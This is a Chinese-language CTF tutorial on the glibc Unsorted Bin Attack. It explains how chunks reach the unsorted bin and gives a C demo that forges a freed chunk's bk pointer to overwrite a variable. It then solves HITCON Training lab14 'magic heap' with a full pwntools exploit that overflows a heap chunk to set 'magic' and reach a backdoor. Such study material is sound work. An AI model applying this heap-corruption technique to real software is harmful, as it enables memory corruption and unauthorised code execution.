Unsorted Bin Attack
Unsorted Bin Attack 被利用的前提 -------------控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果 -------------实现修改任意地址值为一个较大的数值。
Unsorted bin的来源
1,当一个较大的 chunk 被分割成两半后,如果剩下的部分大于MINSIZE,就会被放到 unsorted bin 中。
2,释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
3,当进行malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
主要涉及到的代码
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
演示代码
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target_var = 0;
unsigned long *p = malloc(400);
malloc(500);//防止p指向的chunk和top chunk合并
free(p);
p[1] = (unsigned long)(&target_var - 2);//伪造p->bk
malloc(400);
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}
其执行的过程
此处结果是target_var的值变成了unsorted bin的地址。
**可以看出,在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。**然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。
例1 HITCON Training lab14 magic heap
main函数逻辑
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
const char *v4; // rdi
int v5; // eax
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v7; // [rsp+8h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
v4 = stdin;
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu(v4, v3);
v3 = &buf;
read(0, &buf, 8uLL);
v4 = &buf;
v5 = atoi(&buf);
if ( v5 != 3 )
break;
delete_heap(&buf, &buf);
}
if ( v5 > 3 )
{
if ( v5 == 4 )
exit(0);
if ( v5 == 4869 )
{
if ( magic <= 0x1305 )
{
v4 = "So sad !";
puts("So sad !");
}
else
{
v4 = "Congrt !";
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
v4 = "Invalid Choice";
puts("Invalid Choice");
}
}
else if ( v5 == 1 )
{
create_heap(&buf, &buf);
}
else
{
if ( v5 != 2 )
goto LABEL_17;
edit_heap(&buf, &buf);
}
}
}
程序主要功能
这里可以看到,只要修改magic为一个比较大的值就可以直接执行后门函数。伪造和演示程序一模一样。edit函数存在溢出可以直接修改相邻chunk的数据。
exp
from pwn import*
context.log_level = 'debug'
p = process('./magicheap')
def create(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('Heap : ',str(size))
p.sendafter('heap:',content)
def edit(index,size,content):
p.sendlineafter('choice :','2')
p.sendlineafter('Index :',str(index))
p.sendlineafter('Heap : ',str(size))
p.sendafter('heap : ',content)
def delete(index):
p.sendlineafter('choice :','3')
p.sendlineafter('Index :',str(index))
magic = 0x6020C0
create(0x20,'\x00')
create(0x80,'\x00')
create(0x80,'\x00')
delete(1)
edit(0,0x40,'a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
gdb.attach(p)
create(0x80,'\x00')
p.recvuntil(":")
p.sendline("4869")
p.interactive()